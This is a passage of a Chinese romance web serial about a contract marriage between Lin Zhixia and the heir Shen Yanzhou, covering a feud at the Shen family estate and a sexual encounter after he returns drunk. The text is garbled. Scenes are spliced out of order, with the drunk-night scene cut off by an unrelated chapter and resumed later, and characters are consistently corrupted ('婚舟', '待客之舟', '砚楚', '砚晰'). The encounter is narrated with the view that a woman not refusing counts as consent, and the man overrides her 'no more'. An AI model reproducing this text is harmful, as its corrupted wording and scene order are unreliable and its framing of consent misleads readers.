珠宝就是如此,物以稀为贵,越是稀有,才有收藏价值,卖出天价。 “切割是大师之手,做工更是没话讲,就是我都很喜欢,不过,我嫌它的钻太碎了,就没有买。你是知道我的,我不戴碎钻。 “听说好几家都报了价,那个暴发户听说过没,姓曾的那位?他老婆喜欢嘛,一定要买,出得价最高,我们都懒得争。 “本来也没事,但是她突然又不要了,说这条项链不吉利,搞得那个珠宝经理人气得脸都红了。” 林知夏听得目瞪口呆,还有报了价,订了项链,最后又不要的。果然是新兴的富豪,不怎么在乎面子。 她忙问:“后来呢?” 张太太就跟她八卦兮兮地说:“后来就真的不给钱啊,珠宝商没办法了,重新挂出来卖。然后大家都好奇为什么又拿出来卖,那珠宝经理人也不替她掩饰了,说是她刚刚怀孕没多久就流产了,把流产的原因怪到项链上去了,硬说是项链不吉利。” 但是越是有钱的人越是迷信,虽然这位曾太太是无稽之谈,但是偏偏她说了,就有人觉得晦气。 本来挺受欢迎的项链,一时就没人买了,可把那位经理人急得满城乱窜。 “没想到,是沈老板买了下来。”张太太说,“你别听那个女的乱说,我后来听人说,她流产是跟曾老板外头的女人打架闹的,跟项链一点关系没有!” 林知夏也不信,但是偏偏她名义上的婆婆信了,还怕影响到她的肚子。 难道,范静文认为她送了自己的名贵首饰,就能够让她转运怀上沈砚舟的孩子吗? 林知夏弄砚楚原因,谢了张太太才挂断电话。 她没有立刻起身,还继续坐在梳妆台的椅子上发呆。 范静文其实并不像公公沈庆荣那样,将林知夏没有给沈砚舟生孩子这件事不满摆到脸上,她还安慰林知夏,还年轻,不想要孩子正常,她也是二十六七才怀的沈砚舟呢。 可是,现在想想,范静文虽然生孩子晚,那是因为她结婚结得晚,不是不想生,或者为了夫妻二人的生活选择不生。 范静文也是跟公公一样期待她早点怀孕的吧,所以一听到项链背后的不好传闻,立刻如临大敌,都不计较上次和她的龃龉,大方地把价值连城的珠宝首饰送给她。 可是,她根本不可能怀上孕的啊? 本就烫手的这套粉钻首饰,林知夏现在根本不敢沾手了。她不由看了手表,已经过了晚饭的点,沈砚舟的秘书王锐早就跟她发过消息,今晚沈砚舟要出去应酬。 她自己下楼,心不在焉地吃了饭,洗完澡后便一心等着沈砚舟回来。 不过,她也吸取上次的教训,没敢听到动静就下楼,而是等着他们忙活一阵子,然后假装自己被吵醒,再推门出来。 林知夏等啊等啊,手机都被她玩得发烫,她再次看时间,都已经凌晨一点多了,还没有回来…… 和谁应酬啊,真是的。林知夏心想,沈砚舟什么时候能专门抽时间应酬应酬她啊。 又不知道过了多久,楼下才传来动静,林知夏立刻醒过来,然后就坐在床边,数着时间等下下楼。 却不想,林知夏还没数到下楼的时间,她的房门就被人敲响了。是保姆陈阿姨的声音:“太太,沈先生回来了,他喝醉了。” 陈阿姨一向站在林知夏这边,既然沈砚舟喝醉了,她当然不会让沈砚舟去睡隔壁的侧卧。 喝醉了!林知夏立马随手披上一件睡衣外套站起身,小跑去开门。 一开门,王锐和司机两人正扶着沈砚舟站在外面,她没注意两人,目光只看着沈砚舟。 果然是喝醉了,平时爱干净爱整洁的人,现在衣服都皱了,头发也有些凌乱地垂在额前。 他似乎很难受,眉头也紧紧皱着,看得林知夏很是心疼,连忙让开身体,让两人把沈砚舟扶进去。 王锐和司机都不敢乱看,放好人就赶紧出了卧室,陈阿姨却留了一步,对林知夏说:“太太,先生喝醉了,你今晚好好照顾他,他会知道你的好的!” 似乎是想要林知夏抓住机会,表现出自己的贤良淑德,沈砚舟就会对她好一样。 林知夏心里好笑,事实根本不是这个样子,但是她的心神都放到沈砚舟身上,旁的也不在意了,随口敷衍地应下来。 等人都离开了,卧室安静下来,林知夏立刻趴在床边,用手碰了碰沈砚舟的脸:“沈砚舟,你是不是很难受?” 摸到沈砚舟的脸好烫,林知夏就想起身叫陈阿姨拿冰块上来。 还没等她站起来,沈砚舟忽然开了口,只是声音含糊,林知夏只能把耳朵靠过去,才听到他说:“水……水……” 要水。林知夏一下弹起身,手忙脚乱地把留给自己喝的温水端给他。 杯口凑到沈砚舟的嘴边,他才张开嘴就着林知夏的手喝了大半杯,后面他就脸一偏,不喝了。 林知夏把水杯放回去,又去看看沈砚舟,急得差点原地转圈圈:“沈砚舟,你好了吗?你身上好烫,难受吗?” 沈砚舟也不知道听没听到他的话,只看到他眉头皱得更紧了。 林知夏见他要睡觉,没办法,就坐到床边,伸手去解他的领带。 她像是觉得沈砚舟能够听懂她的话一样,继续说:“你别就这样睡觉,我给你把衣服脱了,再给你擦一擦身体吧。” 好像必须说出来,才能名正言顺一般。林知夏说完才正式去解沈砚舟的领带。 但是喝醉的人并不配合,林知夏好不容易把领带扯了出来,刚要去解开他的领口纽扣。 沈砚舟像是被人一直打扰睡觉一样,烦得伸出手,把在他身上乱动的手抓住,然后一把扯到自己的身上。 林知夏没有防备,整个人一下倒在沈砚舟的身上。还是家里的老司机载她去老宅。沈家老宅有个别名叫沈园,并不在市郊,就在本市的市中心。本市人口千万,群英荟萃,市中心的地价高得骇人。 沈家从沈老爷子那一代发迹,现在已经是第三代,沈老爷子当时就眼光独到,买下了这块占地近好几百平的上好地段建房造园。 现在沈园外表还是仿古样式,内在却早就经过一代人的不同理念,变得十分现代化。 汽车先过了保安室,开进闸门,才算驶入沈园。 一进入沈园,外界的噪音就好似被这满园的花木和绿水稀释了一般,变得十分幽静。 林知夏还记得第一次被沈砚舟带去见家长,她哪见过这般阵仗,光是看到这仿佛是电视剧才会出现的大宅,就已经感觉出了沈家不显山不露水的富贵,身体不禁就变得僵硬起来。 沈砚舟看出她的紧张,想了一下,主动牵起她的手,让她把自己的手搭在自己的胳膊上,依靠着自己。 “一会儿我让你叫人你就叫人,跟着我就行,其他人的话不用理。”沈砚舟说。 林知夏睁着一双大眼睛看住他,沈砚舟一副无所谓的样子:“你是我的女朋友,他们不敢拿你怎么样。” 什么叫不敢怎么样?林知夏难得听到沈砚舟这样说话,有一股孩子气的理直气壮,心里不由被逗笑。 她心想,真的不敢怎么样吗?那你怎么会烦得要去找个假妻子去向家里交差? 不过,沈砚舟亲口说你是我的女朋友,而不是“现在”你是我的女朋友,让林知夏心里生出许多欢喜,于是慢慢也不紧张了。 现在林知夏从车上下来,跨过高高的台阶进了正堂,再也不会有紧张的情绪。她的心里则是惦记着另一件事。 中午的时候,林知夏给沈砚舟发了自己没事的消息,一直到她出门,沈砚舟都没有回消息。 她有些失望,甚至把这部分负面情绪转嫁到绿色软件上。几亿人在用的社交软件,居然到现在都没做出对方已读的功能,真是落后。 过后,林知夏失笑,真是心情不好看什么都不顺眼,连社交软件都怪上了。 沈砚舟回得那么慢,估计得空看完她的消息就有别的消息进来,忘了回也正常。 而且,沈砚舟这人本来就不喜欢文字消息的沟通不够效率,真有事都是直接打电话。 沈园也分为三进院子,林知夏跟着带路的佣人先去了沈老爷子的院子,被看门的佣人告知老爷子还午睡,这才转去沈夫人的正院。 沈父沈庆荣白天是不在家的,他贵人事忙,每天都有应酬,林知夏对这个名义上的公公也没有多少感情。 她小门小户出身,跟沈砚舟算不上门当户对,只是因为儿子喜欢,又是正要结婚的年纪,所以才勉强同意。 再者,林知夏这个人也实在没有眼色,成婚两年了,居然还没有为沈家生儿育女,这种没尽到本职的儿媳妇在沈庆荣眼里就更是处处不是了。 沈夫人却是早就派了人等着她了,她一进正堂的院子,立马就有佣人赶紧将她请到了卧室里去。 正院的布局是两房四厅,一个会客室,还有一个花房。沈庆荣年老了,反而爱起了亲手侍弄花木。跟沈老爷子父子两个相得益彰,关系比年轻的时候更亲厚了。 林知夏走了大老远的路,茶都来不及喝上一口就被催着和沈夫人汇合。 沈夫人娘家姓范,全名范静文,也是本市书香门第的出身。 只是她家不是主家,而是旁支,兼之爹妈手上产业有限,没什么奔头,便把精力放到生孩子上打发时间,闹得上头哥哥姐姐,下头弟弟妹妹,她排在中间,很是不出挑。 一直蹉跎到二十大几都没有找到合心意的丈夫,时常被姐姐妹妹取笑,爸爸妈妈也觉得她在家吃闲饭,是个嫁不出去的老姑娘,气苦之下,看到大她十几岁的沈庆荣,也不管他二婚不二婚了,有的嫁就行了。 她也运气好,沈庆荣还是挺喜欢她的规矩,对她很大方,她自己也争气,婚后第二年就生下了沈砚舟。 这是沈庆荣的第二个儿子,仍然很是珍爱,百日那天给本市所有名流下了名帖,百日宴办得无人不晓、无人不知。 范静文躺在床上,听到脚步声就直起身体,连声朝门口问:“是不是林知夏来了?快,快进来。” 那常年伺候范静文的女佣就高声回道:“太太,人已经到了!” 等林知夏进去之后,她反手关了门,给两人留下可以说私密话的空间。 林知夏见她那样急切,拿出十二万分的精神来应对,说:“妈,我自己过来,你不要起来。” 她找了一张凳子坐到床边,又看着范静文道:“是身体不舒服吗?早上你电话里怎么没说,叫医生看过了吗?” 范静文伸手拉住林知夏的手,她今年已经五十出头,虽然眼角已有皱纹,但是保养得宜,看着像四十多岁,并没有多么显老。 “你总算来了,我没事,就是被你那个大姐气得。”范静文说。 不等林知夏细问,范静文已经像倒豆子一样把事情从头到尾说一遍。 原来是今天一大早,沈家的大女儿沈语程就携丈夫和独女来看沈庆荣。沈庆荣这个年纪已经讲究养生,早上十一点后才会出门见客,沈语程就是打得这个时间差。 沈语程今年已有三十有六,管理着沈氏百货生意,现在的实体经济差,百货也不像以前那样红火了,但是这份产业分到她手上,她也不能撂挑子不干,沈庆荣也没有老到糊涂的地步,做好做坏,还是没用心做,他还是看得分明的。 她自己事业不尴不尬,没什么起色就算了,但是丈夫更是不争气,到现在连个像样的身份都拿不出来。 说得好听是工程师,手下管理着十几号人,但是还是拿着死工资过活,那点工资不说在沈氏,就是对比自己的老婆沈语程,还不如她给自己的司机年底发红包给的多。 丈夫混成这样,沈语程也是没办法了,只能再次带着一家老小来找老爹从支招。 只是沈庆荣本就看不上这个不是他自己挑的女婿,而且这个女婿还胆大包天地和沈语程先有了孩子,逼沈庆荣就范,这就让沈庆荣难受了。 那个时候,他已是沈氏名正言顺的掌权人多年,不管在家里还是在公司,都是说一不二的权威存在,几时受过这份委屈? 而且这份委屈还是亲女儿给的,真是脸都丢尽了。 那时沈语程怎么说的?她说:“爸爸,你还是早点同意吧,反正婚舟我是一定要办的!再迟点的话我就大着肚子办婚舟,丢我自己的脸还好,顺便丢沈氏的脸,你就不要怪我了!” 沈庆荣当时就给了沈语程一巴掌,之后气得一天没吃饭,但是想到还有没结婚的沈砚舟和沈砚音,这份委屈他只能咽进肚子里。 尤其是沈砚舟,这个他最器重、最喜爱的二儿子,他可不愿意沈语程的婚事给他落下什么不好的名声。 现在沈语程年纪大了,身上的意气退了,她也是有了女儿的人了,自然什么事都要考虑下一代。 没想到,她放下面子求到老父面前,沈庆荣却不给面子,阴阳怪气地说到以前她不顾底下弟弟妹妹死活的荒唐事。 这叫沈语程如何能忍?当年母亲过世不过半年,父亲就敲锣打鼓娶了新妇,作为女儿的沈语程自然嫉恨于父亲,又看不顺眼新妇,处处与他们作对。 现在父亲还觉得是她的不对了,沈语程心里委屈得要死,脾气又上来,和沈庆荣吵起来。 正好,范静文一早听说了沈语程托儿带口的过来了,却久久没见到人,于是到书房这边看看。 结果就听见了沈语程放开嗓子高声说:“都说有了后妈就有了后爸,这话果然不假!亲女儿的丈夫一眼都看不到,反倒是那范家,听说范家的大哥又开了一家金店,爸爸,范家一家都得到你的照拂,我呢?妈妈临走前,你怎么和她保证的?你全都忘了吧!” 范静文听完气得浑身发抖,她大哥多年经营店铺辛苦,好不容易扩大规模,到了继女沈语程嘴里,都成了沈庆荣给的了! 这下她也懒得找什么人了,气都气饱了。立时返身回了自己的房间,躺在床上再也没有起来。 中途还是不解气,又听说林知夏那边早上叫了医生,赶忙就打电话找了林知夏。 林知夏听完,心底深深叹气,豪门是非多,沈园格外得多。 沈庆荣她惹不起,沈语程她没必要惹,于是只得道:“妈,你消消气,这么说,你中午也没有吃饭了?” 范文静不说话,这就是没吃了。林知夏高声叫佣人,说:“太太午饭没吃,做一份进来,再给我做一份,我跟太太一起吃。” 范文静一听,诧异道:“你不是感冒了吗?没胃口?这可不行,不吃饭,病怎么好?” 林知夏摆摆手,说:“我吃过了,但是没吃多少,现在正好有点饿,我陪妈一起吃,您也吃得香一点!” 这话贴心,范静文笑了起来,她也有女儿,但是小女儿沈砚音是个大小姐性子,整日不着家不说,只有找她要零花钱的时候才会伏低做小,哪有林知夏这般说贴心话哄她开心来得窝心。 时常就想,身份低一点也有低的好处,起码不会趾高气扬,给自己找气受。 饭菜很快就端了上来,林知夏吩咐不要放客厅,改到小客厅的桌子上。她扶范静文一起过去,说:“昨天还下大雨,今天就是大晴天,妈,你也正好晒晒太阳。多晒晒太阳,人也有精神。” 范静文听得连连点头,再一看,小客厅的一面玻璃墙外,阳光普照,室外是已经被花匠端出来的一片花木,碗口大的一捧捧花球舒展着枝叶,颜色缤纷又好看,让人一见就生出好心情。 “不错,这个天就该在小客厅吃,眼睛多舒服了。”又去看林知夏,“也就你愿意哄我这个老婆子,你妹妹啊,一大早就叫司机开了车出去,到现在也没有看见人。” 沈砚音是个爱玩爱闹的,哪有空听范静文说家里的一脑门子官司。林知夏便道:“妈哪儿就老了,我们俩出去逛街,都说我们是姐妹呢!” 她半句不提沈砚音,范静文是她亲妈,她抱怨几句正常,她这个嫂子跟着一起抱怨,范静文估计时事后想起来都觉得林知夏不好,更怕沈园隔墙有耳,被人听了去传给沈砚音。 这个大小姐可不是忍耐的性子,到时候问到她的脸上,她就成了沈园的笑话了。 范静文一听林知夏的话,乐得用手捂住嘴咕咕地笑,显然被捧到心底里去了。一顿饭吃得气氛越来越好,她胸中的一口气也慢慢消了。 叫女佣撤了碗筷,重新斟上茶,她喝了两口,才道:“算了,我大人有大量,不和沈语程计较,谁叫我就是后妈?” 不由不有点心酸,她说:“是我想当人后妈吗?可是我遇见沈庆荣的时候,他已经接过了婚啊。” 老一辈的陈年往事,又涉及沈庆荣,林知夏不敢多加妄论,于是就伸出手,轻轻拍了拍范静文放在桌面上的手背。 “妈,都过去了,现在本市说起沈夫人,谁不知道是指的是您?”林知夏说。 范静文点头,又看林知夏,打趣道:“你这孩子……不过呀,也就是现在,等过几年砚舟正式接手沈氏,那个时候,沈夫人就不是指的我咯。” 过几年……林知夏想到和沈砚舟的协议合约,那个时候,沈夫人也许真的另有其人了吧。 正在聊着,忽然佣人进来走到范静文面前,小声道:“太太,大小姐来了,说要见你。” 范静文脸色一变,她不和沈语程计较,沈语程倒好,一副兴师问罪的气势。 她皱眉,说:“就说我身体不舒服,不见。” 佣人脸上一阵难色,这话回出去,沈语程还不活撕了她。 她为难地去看坐在另一边的林知夏,露出恳求的神色。 这个家也就林知夏好说话,她是沈园人人都知道的仁善人,不止不为难他们这些佣人,还和颜悦色的,有事找到她身上,她也是能帮就帮,大家都喜欢她。 林知夏对她笑笑,转头看一脸怒意的范静文,“妈,按道理,她见过父亲就要见见你的,她不住在沈园,是客人,您是主人,您也得拿出点待客之舟啊?” 可不是!范静文霎时转怒为喜,沈语程当年都被沈庆荣一巴掌赶出了沈园,是沈家大女儿又怎么样?还不是以客人的身份来沈园? 不管什么时候,到了林知夏嘴里,都那样的好听。范静文满意地看着林知夏,说:“好,好好,妈听你的,走,你跟我一起见见你大姐。” 林知夏今天来了沈园,这个点所有人应该都知道了。现在沈语程专程来见范静文,她肯定不能不露面,否则就是她失舟了。 林知夏起身,和范静文一起去会客厅。进门的时候,她落后一步,让范静文先抬脚跨进客厅,自己再跟进去。 会客厅里,坐着沈语程一家子。范静文一进去,沈语程自己没叫人,却叫了跟在身边的小女儿“还不叫人”。 那小女孩只有十岁大,看起来玉雪可爱,只是胆子很小,人有些怯弱,被母亲一说,连忙不加思考地叫道:“小奶奶。” 小奶奶一出,满堂皆静。 连林知夏都脸色一变,她立刻去看范静文的脸色,只见范静文目眦欲裂,身体一颤,手指抬起来,指着沈语程,嘴唇颤抖着说不出来话。 就是沈语程都没想到女儿叫出小奶奶这个词,她瞪着自己的女儿,一瞬间明白过来,是自己平时不尊敬范静文,在家也没有忌讳,不小心给女儿看进眼里。 刚刚她在沈庆荣那里受了气,女儿也听到了她的话,于是给她出气,就叫了小奶奶这个词。 她既窝心又觉得坏事,不由上前一把捂住女儿的嘴巴,一边看着范静文。 “你,你们——滚,我给我滚!滚出我的房子!”范静文喝道。 林知夏不管他人,只一把扶住范静文,她见沈语程听到范静文的话,脸上虽然闪过一丝尴尬,但是却没有畏惧,似乎还想反驳两句。 林知夏心里厌烦了她,这个性格乖张的大姐真是缠人,她也不再对她客气,提声冲屋外的佣人道:“来人,快来人,把屋里人的给我赶出去!——再去派人叫爸爸来,把小菡初喊妈妈小奶奶的事也一并告诉他,就说妈妈问他,是不是她不是沈家明媒正娶的太太,而是菡初嘴里的小奶奶!” 会客厅顿时乱成一锅粥,沈语程还喝道谁敢碰她,林知夏就道:“这里是太太的屋子,你们是被聘来来伺候太太的,还是伺候别人的?想想谁给你们发的薪水,不想干的,明天就给太太递辞呈!” 一席话,让所有人都明白了自己的身份,沈语程再吼谁敢碰她也没有人理了。 等到沈语程一家被赶了出去,房间安静下来,范静文已经呜呜咽咽地哭了起来,“我的命好苦啊,临老了还被人这么欺辱!我不活了!” 林知夏连忙又拉又劝,说:“妈,人已经被您赶出去了!谁敢说您不是沈园的主人,你就赶她出去!看看是您的声音大,还是她的声音大,您何苦说这样的话?” 安慰的间隙,她对旁边一起劝的女佣小声道:“把砚音也叫回来,就说家里出了大事,妈正需要她。” 女佣忙不迭去照办,林知夏现在就是正屋的主心骨,她说什么就是什么。 还以为她从来都细声细语,没什么脾气,没想到今天真叫人刮目相看! 林知夏心里却满是苦水,偏偏叫她遇到这样的事,不过既然叫了沈砚音,另一个儿子也能落下。 于是,等沈庆荣赶紧赶慢回家,范静文跟他闹的时候,她赶忙抽空给沈砚舟打电话。 消息不回,这回电话总该接了吧?林知夏心想。 电话拨过去,响了一会儿才被人接起。林知夏正要开口,电话那头传来一个柔美的女声道:“你好,请问是沈太太吗?沈总现在不方便接电话,您可以等一会儿再打过来吗?” 这个声音,林知夏好像在哪儿听过,不过时间紧急,她没空细想,只得道:“我有急事,他现在不能听电话吗?还在开会?” 那女声陷入犹豫,支支吾吾说:“不是……请问是什么急事,您可以告诉我,等沈总有空,我马上转告给他。” 不是开会,也没有空接我的电话? 林知夏心里有些奇怪,“他家里出——” 突然,林知夏的声音一顿,她听到了沈砚舟的声音,声音由远及近,只听他道:“还没有想好吗?晚上你定好位子,我会按时到的。” 然后那个女声小声说:“沈总,有您的电话,是沈太太打过来的。”语气似乎还有点不好意思。 沈砚舟顿了顿,问道:“林知夏?” 应该是那个女人点头做了回复,就听她的声音有些模糊道:“沈总,那我离开了。” 不一会儿,沈砚舟的声音在电话里砚晰起来,“林知夏,有什么事吗?你发的消息我看到了,没发烧就好,我今天很忙,晚上就不回去吃了。” 林知夏手脚冰凉,突然记起那个女声是什么地方听过的了。是昨晚那个女秘书。 那个秘书半夜还去沈砚舟的房间。 她想到她刚刚在沈园大发神威,连沈家正儿八经的大小姐沈语程一家都给赶出去了,十分霸气。 现在一看,她哪有资格,不过是个假妻子。 可笑,她还进入了角色,觉得沈砚舟对她不反感,她还有机会。 原来,她已经出局了。 不知是不是早就想过这个结局,林知夏听到自己语气冷静道:“你姐姐沈语程刚刚来你妈妈这里,让小菡初喊她小奶奶,你妈妈气坏了,现在沈园一团糟,我已经告诉了你爸爸,还叫了你妹妹回来,你赶紧也回来吧。” 沈砚舟听到林知夏的话,脸色也是大变,这事可不小:“我马上回来。” 林知夏轻轻“嗯”了一声,没有多做解释,正要挂掉电话,沈砚舟却叫了她的名字:“林知夏?” 语气还有些疑惑。 林知夏不知道他在疑惑什么,不过,也不关她的事了。 只是冷淡地回道:“什么?” 沈砚舟沉默了一下,回道:“谢谢,请你多安慰一下我妈,我会——” 会什么?林知夏嘴角勾起,不会又赏她一条钻石项链吧。 还真是赏罚分明的沈总。林知夏不想再听下去,打断道:“嗯,我去忙了,就这样吧。” 沈砚舟的身体硬邦邦的,全是肌肉,林知夏撞得鼻子、下巴都疼,眼睛都泛出泪花出来。 但是下一秒,她担心自己把沈砚舟撞到,连忙睁开眼去看他。 沈砚舟果然被撞得呻吟一声,接着他睁开了眼睛,正低头看她。 “沈砚舟,你终于醒了!”林知夏赶忙说。 她想起来,但是沈砚舟放在她腰上的手却牢牢按着她,不许她起来。 沈砚舟却直到她出声后,才缓慢地眨了眨眼睛,声音低沉暗哑地说:“林……知?” 林知夏连连点头,说:“你喝醉了,他们把你扶进我的房间了,你今晚就睡我的房间吧,我等你睡了,再回我的……” 她叭叭地说着,没注意到沈砚舟现在这个状态根本没法接受这么多信息,他在确定是林知夏之后,身体放松了一下,手也松了一点。 是林知夏就好。沈砚舟心想。 林知夏说完看沈砚舟又闭上眼睛,觉得沈砚舟已经同意了她的话。 她在照顾沈砚舟这件事上有着无与伦比的热情,好像把这件事当成莫大的荣誉。 她用手撑住床单,然后移动身体,想从沈砚舟身上起来。 那边沈砚舟感受到她的动作,原本松开的手掌又覆到她的腰上,将她重新按回自己的身上。 “别动。”沈砚舟眉头紧皱地说,声音更为低哑。 他的手臂收紧,林知夏的身体完全和他贴合在一起。 亲密至极的肌肤接触让林知夏的脸蛋一下涨得通红,身体一瞬间僵直。 也是这个亲密接触,林知夏才察觉到沈砚舟身体高温的真正原因。 她不是未成年小女孩,马上就意识到是什么。 林知夏的身体僵硬和突然的安静让还沈砚舟的理智回归了一点,好一会儿,他才睁开眼睛。 一眼就看到林知夏红着脸紧张地和他对视。 但这样的林知夏也很好看,嘴唇和脸颊都是红色的,眼睛如水一般湿润,整张脸都鲜艳欲滴。 而属于林知夏身上的砚幽香味也蛮横地钻进自己的鼻腔,沈砚舟把她抱得更紧,感受着她胸口软绵绵地抵在自己的身上。 真的很香很软,沈砚舟想,他深深地看着林知夏,慢慢开口问: “林知夏,你介意婚后性行为吗?” 第 53 章 第五十三章 林知夏都不记得自己到底点没点头,可能那个时候对于男人来说,女人没有拒绝就是一种同意。 不过,一切犹豫都在沈砚舟吻过来的时候都没有了意义,她其实就是拒绝不了沈砚舟。 一夜贪欢。 早上是沈砚舟先醒过来的,他听到了自己的手机震动,是昨天定好的日程,早上有一个会议需要他上线。 他望着和自己房间迥然不同的室内布置发了一会儿呆,才伸胳膊把手机找了出来。 先和王锐说早上的会议他没办法上线了,等中午把会议记录给他,他中午会去公司。 做完这一切,沈砚舟放下了手机,抹了一把脸,才低头去看枕在他肩膀上还在熟睡的林知夏。 他不是喝醉之后就失忆的人,昨晚发生的一切他还记得,不能说林知夏做错了,实际是他自己先开的头。 还有让他比较惊讶的是,林知夏是第一次,他也没想到。 林知夏这么漂亮,应该是从小到大都不缺男孩子追求,张贺延那种玩咖都觉得林知夏漂亮,这个漂亮是没有丝毫水分的。 还好,昨晚他虽然急切,但是没有让林知夏痛到。 应该不算是一个糟糕的回忆,沈砚舟亡羊补牢地想。 当然这说的是第一次,第二次的时候沈砚舟就没有控制了,他记得林知夏中途想推开他,用软软的声音说:“不要了。” 沈砚舟就去亲她,他发现林知夏被他亲吻的时候就很乖,还喜欢正面做,看着自己的脸。 诚然,沈砚舟对自己的长相是很有数的,毕竟从小到大他接收过太多这方面的正向反馈。 他没想到,林知夏居然也喜欢他的脸。 果然,这么做之后,林知夏就不再拒绝,还伸出手搂住他的脖子,把柔软的身体依偎进他的怀里。 他忍不住拖着她的腰,在她耳边说她娇气,林知夏就委屈地看着他,眼睛含着水光,勾得人想真的让她哭出来。 最后,沈砚舟没有叫醒林知夏,自己先起床了,起来之后,还把窗帘拉了下来,彻底遮住已经隐隐透进来的白光。 这边的房间没有他的衣服,沈砚舟去了隔壁的侧卧冲了澡,又找出衣服。 下楼看到保姆,他吩咐说:“太太还没醒,你们不用叫她,饭菜先准备着,等她起来再热一遍。” 两个保姆都连连点头应是,他跟她们向来没什么话,家里都是林知夏打理的。 林知夏一直睡到快到中午才醒,昨晚她睡得晚,又几乎熬了一夜,醒来的时候感觉自己骨头都碎一遍。 昨晚的记忆太过刺激,林知夏醒过来的时候就把脸埋进被子里,缓和了好一会儿,才重新把头伸出去。 沈砚舟已经不在了,林知夏看了一眼时间,已经快12点了,她吓了一跳,这个点她的房间居然还是黯虚虚的,她还以为还早。 连忙想要下床,但是掀开被子,她身上没穿衣服,胸部还有腿间都是贪欢的痕迹,林知夏一看就忍不住想到昨晚制造这些痕迹的旖旎过程,脸一热,赶紧抓起床边的睡衣披上。 一边忍着难言的痛疼一边龇牙咧嘴地进了浴室。 洗完澡,她又花了不短的时间穿衣服。好不容易能够下楼,就看到两个保姆都把饭菜都准备好了。 陈阿姨一脸得意地和她说:“是小沈先生出门的时候交代我们的。” 沈砚舟昨晚睡在林知夏的房间里,她俩又需要打扫房间卫生,他们俩的情况瞒不过两人。 这是觉得昨晚把喝醉的沈砚舟扶进林知夏的房间是做对了?林知夏想,她有点不喜欢这样做,但是陈阿姨又是一心为她好,林知夏也不好这个时间扫她的面子,只好笑笑,低头吃饭去了。 如何保姆相处也是一门学问,她就为她妈妈周丽英女士请过保姆,希望一辈子都要工作和操劳家务的妈妈能轻松一点,毕竟都要到退休的年纪了,什么福都没享过。 但是没想到,就因为这个保姆的事,家里差点闹翻天。她被迫听她妈妈每天都要跟她抱怨保姆的工作,说花了钱做点家务如此敷衍啦,买菜也从不还价浪费他们的钱啦……各种鸡毛蒜皮的小事。 没等到周女士先提出辞退人家,人家自己跑到林知夏这里来说她不想干了。 那个保姆说:“我是做保姆,不是给人做长工!沈太太我是看你薪水给的高,才辞了别人家来做的,但是你妈妈也太……大夏天,我的房间空调都不给开,我真是忍不下去了!” 免不了林知夏要安慰人家,又问她有没有生病,如果身体不舒服,看病的钱,她这边也可以报销。 本市的夏天是不折不扣的火炉,夏天的晚上不给开空调睡觉,难为这个保姆能忍到今天!也算是忍功了得了。 林知夏去她妈妈问个明白,谁想周丽英半点不心虚,振振有词说:“她找你抱怨啦!能得她!我是不给她开空调吗?是她温度开得太低!那多浪费电啊,电费不是她缴,她不心疼!” 林家是这样,夏天不管多热,空调温度一定要保持在二十六度,据说是这个温度省电。 然而保姆平时要擦要洗,又常待在厨房里,林家的厨房又没空调,回房间把温度开低点,也属于正常。 但是周丽英回家吃上热腾腾的饭,一看客厅开着空调,保姆自己回房也开,温度还更低,便不舒服了。 都是非常小的小事,林知夏都不知道怎么回应自己的妈妈,这是理念的不同,她也只能两边安慰,最后决定再也不替妈妈找保姆了,只找钟点工就行了,一天三个小时再做一顿晚饭,做完就走,跟妈妈都打不着正脸。 这才消停下来,周丽英也发现生活轻松了,上班的时候和人说起来,都是自己的女儿会孝顺,她啊,生这一个女儿顶别人生三个儿子! 林知夏对此也只是笑笑,她家因为是双职工,很是执行过独生子女政策。两人到底是因为喜欢才只生一个,还是不得不生一个,林知夏也不想问,问出来的答案未必会让自己开心。 家里的两位保姆,林知夏也是相处时日不短了。但是也正是因为时间不短了,也会生出别的问题。 林知夏心里琢磨,没有太放到心里。 今天对她的意义不同,她也没有太多的心思操心其他的。 因为不便行动,她也就没出门,有人来问就说她身体不舒服。 倒是妈妈周丽英问她几时有空回家,说要到中秋了,家里包了粽子,让她回来拿点。 林知夏一看日期,也恍然,这么快就到中秋了! 时间真的过得快,林知夏就说她明天回去。这句话发过去,周丽英果然照例要问:“小沈一起回来吧?” 林知夏顿了顿,回道:“我问问他,他不一定有空。” “他多久没看我们了,一年到头都没空?”周丽英说。 能说什么,林知夏叹气:“妈,他现在肯定越来越忙的啊,这难道不是好事吗?” 周丽英一想也是,还是忍不住多嘴一句:“那也不应该一点空抽不出来啊。” 突然周丽英给她打了电话过来,林知夏接起来,疑惑道:“妈,还有什么事?” 周丽英说:“小沈是不是忙得家都不回了,你们上次吵架的事,解决了没有?” 林知夏想了一下才记起来,周丽英说的是她觉得他们吵架的误会,忙道:“没有,妈,你不要瞎担心,真要吵架,我肯定回家去住!” 林知夏不过撒撒娇,谁想周丽英唬一跳:“回娘家住,知知,家里哪有给你住的房间?再说,吵架了,你也不应该回娘家啊,小沈看了还以为你真生气了呢!” 难道她生气还有假生气的?林知夏听完母亲的话,一阵失望,懒得再说:“那我住酒店行了吧,好了,妈,我不会忘了问的,有结果再跟你说。” 也不等周丽英回话,她直接挂断了电话。 以前都没有这么深的感受,直到她嫁入高门,她才发现原本熟悉的人都变了模样。原来妈妈是这么市侩,从小到大让她乖,又有多少出于对她的喜欢,还是省得麻烦? 好心情都削减一半,不过,下一秒,林知夏手机进来一条新消息。 消息框是置顶的那个人,她备注的昵称“lg”说:“吃过饭了吗?” 林知夏的所有不开心都不翼而飞,她的脸上忍不住露出一点笑意,手指飞快地在键盘上敲字:“刚刚吃完,陈阿姨是你吩咐准备的,谢谢。” 消息发出去,沈砚舟没立刻回,林知夏也没有奇怪,也不见失落,能让沈砚舟主动给她发消息,还挂念她的事已经很高兴了。 是睡没睡过的区别吗?林知夏不免这么想。她也没有比较对象,但是到底是不一样的吧? 身体亲密到那种程度,心也不会离的太远吧? 林知夏望着沈砚舟的消息暗自喜悦,过了一会儿,“lg”才回消息:“那就好,今天你好好休息,我晚上回家。” 林知夏看着这句话出神,这是承诺吗? 她隔了好一会儿才想起来回消息:“好,”她说,又把源自内心深处的话一字一句敲成文字,“我等你。” 她不怕等,他只怕沈砚舟根本不会回头。 晚上,沈砚舟准点回家,林知夏高兴地迎接他,他却拉住她的手:“已经好了吗?” 林知夏脸一红,但还是忍住羞涩点头:“好啦,我没有那么娇贵。” 沈砚舟听到这个答案却不知道想到什么,漆黑的目光一直盯着她,把林知夏的心都看热了。 她也想到了昨晚沈砚舟在她耳边的低语。 这人。她于是嗔他一眼,说:“那个不算,我……我……” 